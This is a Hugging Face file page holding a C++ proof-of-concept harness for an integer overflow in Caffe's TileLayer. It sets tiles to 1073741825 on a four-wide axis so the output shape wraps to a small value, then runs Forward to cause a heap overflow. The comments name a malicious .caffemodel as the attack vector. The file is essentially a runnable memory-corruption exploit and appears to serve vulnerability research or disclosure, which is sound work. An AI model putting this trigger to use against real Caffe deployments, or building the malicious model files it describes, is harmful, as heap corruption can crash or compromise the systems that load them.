mfv-caffe-intoverflow-memcorrupt / poc /mfv_caffe_tile.cpp
Talson's picture
Upload poc/mfv_caffe_tile.cpp with huggingface_hub
f5e07f5 verified
Raw
History Blame Contribute Delete
2.54 kB
// Caffe MFV harness β€” TileLayer integer overflow
// Bug: tile_layer.cpp:17 β€” top_shape[axis_] = bottom[0]->shape(axis_) * tiles_;
// This is an unchecked int multiplication. With shape(axis_)=4 and tiles=1073741825:
// 4 * 1073741825 = 4294967300 β†’ int32 overflow β†’ wraps to 4
// Reshape allocates for count based on the overflowed value (small),
// then Forward writes outer_dim * tiles * inner_dim elements (massive) β†’ heap overflow.
//
// Attack vector: .caffemodel with a TileParameter where tiles = 1073741825
// and an input with axis dimension = 4.
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include <fstream>
#define CPU_ONLY
#include "caffe/blob.hpp"
#include "caffe/layer.hpp"
#include "caffe/proto/caffe.pb.h"
#include "caffe/layers/tile_layer.hpp"
using namespace caffe;
void test_tile_overflow() {
printf("=== TileLayer integer overflow: shape(axis)*tiles wraps to small value ===\n");
Caffe::set_mode(Caffe::CPU);
// Create a TileLayer with tiles = 1073741825
LayerParameter lp;
lp.set_name("tile_evil");
lp.set_type("Tile");
TileParameter* tp = lp.mutable_tile_param();
tp->set_tiles(1073741825); // 0x40000001
tp->set_axis(1);
// Bottom blob: [1, 4, 1, 1] β€” axis=1 has dimension 4
// 4 * 1073741825 = 4294967300 β†’ int32: 4 (overflow!)
Blob<float> bottom(1, 4, 1, 1);
float* data = bottom.mutable_cpu_data();
for (int i = 0; i < 4; i++) data[i] = 1.0f;
Blob<float> top;
std::vector<Blob<float>*> bottom_vec = {&bottom};
std::vector<Blob<float>*> top_vec = {&top};
printf("bottom shape: [%d, %d, %d, %d]\n",
bottom.shape(0), bottom.shape(1), bottom.shape(2), bottom.shape(3));
printf("tiles = %d (0x%08x)\n", tp->tiles(), (unsigned)tp->tiles());
printf("4 * 1073741825 = %d (int32), should be %lld (int64)\n",
4 * 1073741825, 4LL * 1073741825);
TileLayer<float> layer(lp);
printf("Calling TileLayer::SetUp...\n");
layer.SetUp(bottom_vec, top_vec);
printf("top shape after Reshape: [");
for (int i = 0; i < top.num_axes(); i++)
printf("%s%d", i ? ", " : "", top.shape(i));
printf("]\n");
printf("top count = %d, expected actual = %lld\n",
top.count(), 1LL * 1 * 4 * 1073741825 * 1 * 1);
printf("Calling TileLayer::Forward_cpu...\n");
layer.Forward(bottom_vec, top_vec);
printf("Forward completed\n");
}
int main() {
setvbuf(stdout, nullptr, _IONBF, 0);
test_tile_overflow();
return 0;
}